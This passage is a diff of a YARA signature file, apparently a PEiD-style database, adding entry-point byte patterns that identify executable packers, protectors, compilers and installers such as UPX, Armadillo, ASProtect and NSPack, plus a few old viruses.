+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPXcrypter__archphaseNWC_
+{
+	meta:
+		description = "UPXcrypter -> archphase/NWC"
+	strings:
+		$0 = {BF ?? ?? ?? 00 81 FF ?? ?? ?? 00 74 10 81 2F ?? 00 00 00 83 C7 04 BB 05 ?? ?? 00 FF E3 BE ?? ?? ?? 00 FF E6 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _DBPE_vxxx_
+{
+	meta:
+		description = "DBPE vx.xx"
+	strings:
+		$0 = {EB 20 ?? ?? 40 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 9C 55 57 56 52 51 53 9C E8 ?? ?? ?? ?? 5D 81 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_v260a_
+{
+	meta:
+		description = "Armadillo v2.60a"
+	strings:
+		$0 = {55 8B EC 6A FF 68 ?? ?? ?? ?? 68 94 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 B4}
+	condition:
+		$0 at entrypoint
+}
+rule _aPack_v082_
+{
+	meta:
+		description = "aPack v0.82"
+	strings:
+		$0 = {1E 06 8C CB BA ?? ?? 03 DA 8D ?? ?? ?? FC 33 F6 33 FF 48 4B 8E C0 8E DB}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v01__emadicius_
+{
+	meta:
+		description = "[MSLRH] v0.1 -> emadicius"
+	strings:
+		$0 = {60 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8}
+	condition:
+		$0
+}
+rule _Armadillo_v201_
+{
+	meta:
+		description = "Armadillo v2.01"
+	strings:
+		$0 = {55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 08 02 41 00 68 04 9A 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _HEALTH_v51_by_Muslim_MPolyak_
+{
+	meta:
+		description = "HEALTH v.5.1 by Muslim M.Polyak"
+	strings:
+		$0 = {1E E8 ?? ?? 2E 8C 06 ?? ?? 2E 89 3E ?? ?? 8B D7 B8 ?? ?? CD 21 8B D8 0E 1F E8 ?? ?? 06 57 A1 ?? ?? 26}
+	condition:
+		$0 at entrypoint
+}
+rule _BeRoEXEPacker_V100__BeRo_
+{
+	meta:
+		description = "BeRoEXEPacker V1.00 -> BeRo"
+	strings:
+		$0 = {BA ?? ?? ?? ?? 8D B2 ?? ?? ?? ?? 8B 46 ?? 85 C0 74 51 03 C2 8B 7E ?? 8B 1E 85 DB 75 02 8B DF 03 DA 03 FA 52 57 50 FF 15 ?? ?? ?? ?? 5F 5A 85 C0 74 2F 8B C8 8B 03 85 C0 74 22 0F BA F0 1F 72 04 8D 44 ?? ?? 51 52 57 50 51 FF 15 ?? ?? ?? ?? 5F 5A 59 85 C0 74 0B AB 83 C3 04 EB D8 83 C6 14 EB AA 61 C3}
+	condition:
+		$0
+}
+rule _Unknown_encryptor_2__PK7Tjrvx_
+{
+	meta:
+		description = "Unknown encryptor (2) - PK7Tjrvx"
+	strings:
+		$0 = {06 B4 52 CD 21 07 E8 ?? ?? B4 62 CD 21 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _Hasp_4_envelope_dongle_Alladin_
+{
+	meta:
+		description = "Hasp 4 envelope dongle (Alladin)"
+	strings:
+		$0 = {10 02 D0 51 0F 00 83}
+	condition:
+		$0 at entrypoint
+}
+rule _NSPack_3x__Liu_Xing_Ping_
+{
+	meta:
+		description = "NSPack 3.x -> Liu Xing Ping"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 85 ?? ?? FF FF ?? 38 01 0F 84 ?? 02 00 00 ?? 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_v10_
+{
+	meta:
+		description = "ASProtect v1.0"
+	strings:
+		$0 = {60 E8 01 ?? ?? ?? 90 5D 81 ED ?? ?? ?? ?? BB ?? ?? ?? ?? 03 DD 2B 9D}
+	condition:
+		$0 at entrypoint
+}
+rule _VOB_ProtectCD_5_
+{
+	meta:
+		description = "VOB ProtectCD 5"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_Diminisher_v01_
+{
+	meta:
+		description = "PE Diminisher v0.1"
+	strings:
+		$0 = {53 51 52 56 57 55 E8 00 00 00 00 5D 8B D5 81 ED A2 30 40 00 2B 95 91 33 40 00 81 EA 0B 00 00 00 89 95 9A 33 40 00 80 BD 99 33 40 00 00 74}
+		$1 = {5D 8B D5 81 ED A2 30 40 ?? 2B 95 91 33 40 ?? 81 EA 0B ?? ?? ?? 89 95 9A 33 40 ?? 80 BD 99}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _NTkrnl_Secure_Suite_V01__NTkrnl_Software_
+{
+	meta:
+		description = "NTkrnl Secure Suite V0.1 -> NTkrnl Software"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 00 00 00 00 34 10 00 00 28 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3}
+	condition:
+		$0
+}
+rule _Password_Protector_c_MiniSoft_1992_
+{
+	meta:
+		description = "Password Protector (c) MiniSoft 1992"
+	strings:
+		$0 = {06 0E 0E 07 1F E8 00 00 5B 83 EB 08 BA 27 01 03 D3 E8 3C 02 BA EA}
+	condition:
+		$0 at entrypoint
+}
+rule _AsCrypt_v01__SToRM__needs_to_be_added_
+{
+	meta:
+		description = "AsCrypt v0.1 -> SToRM - needs to be added"
+	strings:
+		$0 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 83 ?? ?? E2}
+		$1 = {83 ?? ?? E2 ?? ?? E2 ?? FF}
+		$2 = {80 ?? ?? ?? 83 ?? ?? ?? ?? 90 90 90 E2}
+		$3 = {81 ?? ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? ?? 83 ?? ?? E2 ?? EB}
+	condition:
+		$0 or $1 or $2 or $3
+}
+rule _EXE32Pack_v13x_
+{
+	meta:
+		description = "EXE32Pack v1.3x"
+	strings:
+		$0 = {3B ?? 74 02 81 83 55 3B ?? 74 02 81 ?? 53 3B ?? 74 01 ?? ?? ?? ?? ?? 02 81 ?? ?? E8 ?? ?? ?? ?? 3B 74 01 ?? 5D 8B D5 81 ED}
+	condition:
+		$0 at entrypoint
+}
+rule _Stones_PE_Encryptor_v10_
+{
+	meta:
+		description = "Stone's PE Encryptor v1.0"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81 ED 63 3A 40 ?? 2B 95 C2 3A 40 ?? 83 EA 0B 89 95 CB 3A 40 ?? 8D B5 CA 3A 40 ?? 0F B6 36}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_32Lite_003__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [32Lite 0.03] --> Anorganix"
+	strings:
+		$0 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68}
+		$1 = {60 06 FC 1E 07 BE 90 90 90 90 6A 04 68 90 10 90 90 68}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_JDPack_1x__JDProtect_09__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [JDPack 1.x / JDProtect 0.9] --> Anorganix"
+	strings:
+		$0 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01}
+		$1 = {60 E8 22 00 00 00 5D 8B D5 81 ED 90 90 90 90 2B 95 90 90 90 90 81 EA 06 90 90 90 89 95 90 90 90 90 83 BD 45 00 01 00 01}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WWPACK_v305c4_Extractable_p_Virus_Shield_
+{
+	meta:
+		description = "WWPACK v3.05c4 (Extractable + Virus Shield)"
+	strings:
+		$0 = {03 05 40 1A B8 ?? ?? 8C CA 03 D0 8C C9 81 C1 ?? ?? 51 B9 ?? ?? 51 06 06 B1 ?? 51 8C D3}
+	condition:
+		$0 at entrypoint
+}
+rule _DotFix_NiceProtect_vna_
+{
+	meta:
+		description = "DotFix NiceProtect vna"
+	strings:
+		$0 = {60 E8 55 00 00 00 8D BD 00 10 40 00 68 ?? ?? ?? 00 03 3C 24 8B F7 90 68 31 10 40 00 9B DB E3 55 DB 04 24 8B C7 DB 44 24 04 DE C1 DB 1C 24 8B 1C 24 66 AD 51 DB 04 24 90 90 DA 8D 77 10 40 00 DB 1C 24 D1 E1 29}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v09782_
+{
+	meta:
+		description = "PECompact v0.978.2"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 ?? 87 DD 8B 85 56 85}
+	condition:
+		$0 at entrypoint
+}
+rule _GHF_Protector__GPcH_
+{
+	meta:
+		description = "GHF Protector / GPcH"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 A0 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V12__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.2 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 77 1E 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_V14__LiuXingPing_
+{
+	meta:
+		description = "NsPack V1.4 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B1 85 40 00 2D AA 85 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_Stelth_PE_101__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Ste@lth PE 1.01] --> Anorganix"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00}
+		$1 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 BA ?? ?? ?? ?? FF E2 BA E0 10 40 00 B8 68 24 1A 40 89 02 83 C2 03 B8 40 00 E8 EE 89 02 83 C2 FD FF E2 2D 3D 5B 20 48 69 64 65 50 45 20 5D 3D 2D 90 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Vx_NcuLi1688_
+{
+	meta:
+		description = "Vx: Ncu-Li.1688"
+	strings:
+		$0 = {0E 1E B8 55 AA CD 21 3D 49 4C 74 ?? 0E 0E 1F 07 E8}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_FSG_131__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [FSG 1.31] --> Anorganix"
+	strings:
+		$0 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9}
+		$1 = {BE 90 90 90 00 BF 90 90 90 00 BB 90 90 90 00 53 BB 90 90 90 00 B2 80 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_Morphine_12__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.1 [Morphine 1.2] --> Anorganix"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 E2 90 90 90 EB 08 82 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 02 00 01 E9}
+		$1 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+		$2 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 EB 06 00 90 90 90 90 90 90 90 90 EB 08 E8 90 00 00 00 66 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 51 66 90 90 90 59 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _Stones_PE_Encruptor_v113_
+{
+	meta:
+		description = "Stone`s PE Encruptor v1.13"
+	strings:
+		$0 = {55 57 56 52 51 53 E8 ?? ?? ?? ?? 5D 8B D5 81}
+	condition:
+		$0 at entrypoint
+}
+rule _PACKWIN_v101p_
+{
+	meta:
+		description = "PACKWIN v1.01p"
+	strings:
+		$0 = {8C C0 FA 8E D0 BC ?? ?? FB 06 0E 1F 2E ?? ?? ?? ?? 8B F1 4E 8B FE 8C DB 2E ?? ?? ?? ?? 8E C3 FD F3 A4 53 B8 ?? ?? 50 CB}
+	condition:
+		$0 at entrypoint
+}
+rule _Neolite_v20_
+{
+	meta:
+		description = "Neolite v2.0"
+	strings:
+		$0 = {E9 A6 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Upx_v12__Marcus__Lazlo_
+{
+	meta:
+		description = "Upx v1.2 -> Marcus & Lazlo"
+	strings:
+		$0 = {60 BE ?? ?? ?? ?? 8D BE ?? ?? ?? ?? 57 83 CD FF EB 05 A4 01 DB 75 07 8B 1E 83 EE FC 11 DB 72 F2 31 C0 40 01 DB 75 07 8B 1E 83 EE FC 11 DB 11 C0 01 DB 75 07 8B 1E 83 EE FC 11 DB 73 E6 31 C9 83}
+	condition:
+		$0 at entrypoint
+}
+rule _Nullsoft_PIMP_Install_System_v1x_
+{
+	meta:
+		description = "Nullsoft PIMP Install System v1.x"
+	strings:
+		$0 = {83 EC 5C 53 55 56 57 FF 15 ?? ?? ?? 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BamBam_v001_
+{
+	meta:
+		description = "BamBam v0.01"
+	strings:
+		$0 = {6A 14 E8 9A 05 00 00 8B D8 53 68 FB ?? ?? 00 E8 6C FD FF FF B9 05 00 00 00 8B F3 BF FB ?? ?? 00 53 F3 A5 E8 8D 05 00 00 8B 3D 03 ?? ?? 00 A1 2B ?? ?? 00 66 8B 15 2F ?? ?? 00 B9 80 ?? ?? 00 2B CF 89 45 E8 89 0D 6B ?? ?? 00 66 89 55 EC 8B 41 3C 33 D2 03 C1}
+	condition:
+		$0
+}
+rule _TMTPascal_v040_
+{
+	meta:
+		description = "TMT-Pascal v0.40"
+	strings:
+		$0 = {0E 1F 06 8C 06 ?? ?? 26 A1 ?? ?? A3 ?? ?? 8E C0 66 33 FF 66 33 C9}
+	condition:
+		$0 at entrypoint
+}
+rule _PECrypt_102_
+{
+	meta:
+		description = "PE-Crypt 1.02"
+	strings:
+		$0 = {E8 00 00 00 00 5B 83 EB 05 EB 04 52 4E 44 21 85 C0 73 02 F7}
+	condition:
+		$0 at entrypoint
+}
+rule _diProtector_V1X__diProtector_Software_
+{
+	meta:
+		description = "diProtector V1.X -> diProtector Software"
+	strings:
+		$0 = {01 00 A0 E3 14 00 00 EB 00 00 20 E0 44 10 9F E5 03 2A A0 E3 40 30 A0 E3 AE 00 00 EB 30 00 8F E5 00 20 A0 E1 3A 0E 8F E2 00 00 80 E2 1C 10 9F E5 20 30 8F E2 0E 00 00 EB 14 00 9F E5 14 10 9F E5 7F 20 A0 E3 C5 00 00 EB 04 C0 8F E2 00 F0 9C E5}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_Windows_Update_CAB_SFX_module_
+{
+	meta:
+		description = "Microsoft Windows Update CAB SFX module"
+	strings:
+		$0 = {E9 C5 FA FF FF 55 8B EC 56 8B 75 08 68 04 08 00 00 FF D6 59 33 C9 3B C1 75 0F 51 6A 05 FF 75 28 E8 2E 11 00 00 33 C0 EB 69 8B 55 0C 83 88 88 00 00 00 FF 83 88 84 00 00 00 FF 89 50 04 8B 55 10 89 50 0C 8B 55 14 89 50 10 8B 55 18 89 50 14 8B 55 1C 89 50 18}
+	condition:
+		$0
+}
+rule _MinGW_v32x_WinMain_
+{
+	meta:
+		description = "MinGW v3.2.x (WinMain)"
+	strings:
+		$0 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 FC 40 40 00 E8 68 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 FC 40 40 00 E8 48 00 00 00 89 EC 31 C0 5D C3 89 F6 55 89 E5 83 EC 08 8B 55 08 89 14 24 FF 15 18 41 40 00 89 EC 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _NX_PE_Packer_v10_
+{
+	meta:
+		description = "NX PE Packer v1.0"
+	strings:
+		$0 = {FF 60 FF CA FF 00 BA DC 0D E0 40 00 50 00 60 00 70 00 80 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXECryptor_v1401_
+{
+	meta:
+		description = "EXECryptor v1.4.0.1"
+	strings:
+		$0 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80}
+		$1 = {E8 24 00 00 00 8B 4C 24 0C C7 01 17 00 01 00 C7 81 B8 00 00 00 00 ?? ?? 00 31 C0 89 41 14 89 41 18 80}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Libraries_by_John_Socha_
+{
+	meta:
+		description = "Libraries by John Socha"
+	strings:
+		$0 = {BB ?? ?? 8E DB 2E 89 ?? ?? ?? 8D ?? ?? ?? 25 ?? ?? FA 8E D3 8B E0 FB 26 A1 A3 ?? ?? B4 30 CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_022__023_beta__Dwing_
+{
+	meta:
+		description = "Upack 0.22 - 0.23 beta -> Dwing"
+	strings:
+		$0 = {6A 07 BE 88 01 40 00 AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 59 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+		$1 = {AD 8B F8 59 95 F3 A5 AD B5 ?? F3 AB AD 50 97 51 58 8D 54 85 5C FF 16 72 ?? 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 5F FF C1 E3 ?? B3 00 8D 1C 5B 8D 9C 9D 0C 10 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SimplePack_111_Method_2NT__bagieTMX_h_
+{
+	meta:
+		description = "SimplePack 1.11 Method 2(NT) -> bagie[TMX] (h)"
+	strings:
+		$0 = {4D 5A 90 EB 01 00 52 E9 89 01 00 00 50 45 00 00 4C 01 02 00 00 00 00 00 00 00 00 00 00 00 00 00 E0 00 0F 03 0B 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 40 00 00 C0 4B 45 52 4E 45 4C 33 32 2E 44 4C 4C 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 EB 01 CD 64 A1 30 00 00 00 EB 01 CD 8B 48 0C E3 6F EB 01 CD 05 AC 00 00 00 EB 01 CD 66 81 38 93 08 EB 01 CD 75 0A EB 01 CD B8 38 FF FF FF EB 14 EB 01 CD 66 81 38 28 0A 75 4A EB 01 CD B8 1A FF FF FF EB 00 EB 01 CD 31 C9 EB 01 CD 51 EB 01 CD 51 EB 01 CD 6A 11 EB 01 CD 6A FE EB 01 CD E8 03 00 00 00 EB 01 CD 83 04 24 18 EB}
+	condition:
+		$0 at entrypoint
+}
+rule _CrackStop_v101_c_Stefan_Esser_1997_
+{
+	meta:
+		description = "CrackStop v1.01 (c) Stefan Esser 1997"
+	strings:
+		$0 = {B4 48 BB FF FF B9 EB 27 8B EC CD 21 FA FC}
+	condition:
+		$0 at entrypoint
+}
+rule _Zortech_C_
+{
+	meta:
+		description = "Zortech C"
+	strings:
+		$0 = {E8 ?? ?? 2E FF ?? ?? ?? FC 06}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_Modified_stub_
+{
+	meta:
+		description = "UPX Modified stub"
+	strings:
+		$0 = {79 07 0F B7 07 47 50 47 B9 57 48 F2 AE 55 FF 96 84 ?? 00 00 09 C0 74 07 89 03 83 C3 04 EB D8 FF 96 88 ?? 00 00 61 E9 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _Simple_UPX_Cryptor_v3042005_multi_layer_encryption__MANtiCORE_
+{
+	meta:
+		description = "Simple UPX Cryptor v30.4.2005 [multi layer encryption] --> MANtiCORE"
+	strings:
+		$0 = {60 B8 ?? ?? ?? 00 B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? 00 C3}
+		$1 = {60 B8 ?? ?? ?? ?? B9 18 00 00 00 80 34 08 ?? E2 FA 61 68 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PECompact_v184_
+{
+	meta:
+		description = "PECompact v1.84"
+	strings:
+		$0 = {33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81}
+	condition:
+		$0 at entrypoint
+}
+rule _Petite_13_
+{
+	meta:
+		description = "Petite 1.3"
+	strings:
+		$0 = {66 9C 60 50 8D 88 00 F0 00 00 8D 90 04 16 00 00 8B DC 8B E1}
+	condition:
+		$0
+}
+rule _PC_Shrinker_v045_
+{
+	meta:
+		description = "PC Shrinker v0.45"
+	strings:
+		$0 = {BD ?? ?? ?? ?? 01 AD E3 38 40 ?? FF B5 DF 38 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_v1111_
+{
+	meta:
+		description = "Obsidium v1.1.1.1"
+	strings:
+		$0 = {EB 02 ?? ?? E8 E7 1C 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _CRYPToCRACKs_PE_Protector_V092__Lukas_Fleischer_
+{
+	meta:
+		description = "CRYPToCRACK's PE Protector V0.9.2 -> Lukas Fleischer"
+	strings:
+		$0 = {E8 01 00 00 00 E8 58 5B 81 E3 00 FF FF FF 66 81 3B 4D 5A 75 37 84 DB 75 33 8B F3 03 ?? ?? 81 3E 50 45 00 00 75 26}
+	condition:
+		$0 at entrypoint
+}
+rule _Cygwin32_
+{
+	meta:
+		description = "Cygwin32"
+	strings:
+		$0 = {55 89 E5 83 EC 04 83 3D}
+	condition:
+		$0 at entrypoint
+}
+rule _Packed_with_PKLITE_v150_with_CRC_check_1_
+{
+	meta:
+		description = "Packed with: PKLITE v1.50 with CRC check (1)"
+	strings:
+		$0 = {1F B4 09 BA ?? ?? CD 21 B8 ?? ?? CD 21}
+	condition:
+		$0 at entrypoint
+}
+rule _EP_v10_
+{
+	meta:
+		description = "EP v1.0"
+	strings:
+		$0 = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1}
+		$1 = {50 83 C0 17 8B F0 97 33 C0 33 C9 B1 24 AC 86 C4 AC AA 86 C4 AA E2 F6 00 B8 40 00 03 00 3C 40 D2 33 8B 66 14 50 70 8B 8D 34 02 44 8B 18 10 48 70 03 BA 0C ?? ?? ?? ?? C0 33 FE 8B 30 AC 30 D0 C1 F0 10 C2 D0 30 F0 30 C2 C1 AA 10 42 42 CA C1 E2 04 5F E9 5E B1}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _AntiVirus_Vaccine_v103_
+{
+	meta:
+		description = "AntiVirus Vaccine v.1.03"
+	strings:
+		$0 = {FA 33 DB B9 ?? ?? 0E 1F 33 F6 FC AD 35 ?? ?? 03 D8 E2}
+	condition:
+		$0 at entrypoint
+}
+rule _XtremeProtector_v106_
+{
+	meta:
+		description = "Xtreme-Protector v1.06"
+	strings:
+		$0 = {B8 ?? ?? ?? 00 B9 75 ?? ?? 00 50 51 E8 05 00 00 00 E9 4A 01 00 00 60 8B 74 24 24 8B 7C 24 28 FC B2 80 8A 06 46 88 07 47 BB 02 00 00 00 02 D2 75 05 8A 16 46 12 D2 73 EA 02 D2 75 05 8A 16 46 12 D2 73 4F 33 C0 02 D2 75 05 8A 16 46 12 D2 0F 83 DF 00 00 00 02}
+	condition:
+		$0 at entrypoint
+}
+rule _Wise_Installer_Stub_
+{
+	meta:
+		description = "Wise Installer Stub"
+	strings:
+		$0 = {55 8B EC 81 EC 78 05 00 00 53 56 BE 04 01 00 00 57 8D 85 94 FD FF FF 56 33 DB 50 53 FF 15 34 20 40 00 8D 85 94 FD FF FF 56 50 8D 85 94 FD FF FF 50 FF 15 30 20 40 00 8B 3D 2C 20 40 00 53 53 6A 03 53 6A 01 8D 85 94 FD FF FF 68 00 00 00 80 50 FF D7 83 F8 FF}
+		$1 = {55 8B EC 81 EC ?? 04 00 00 53 56 57 6A ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? 40 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 80 ?? 20}
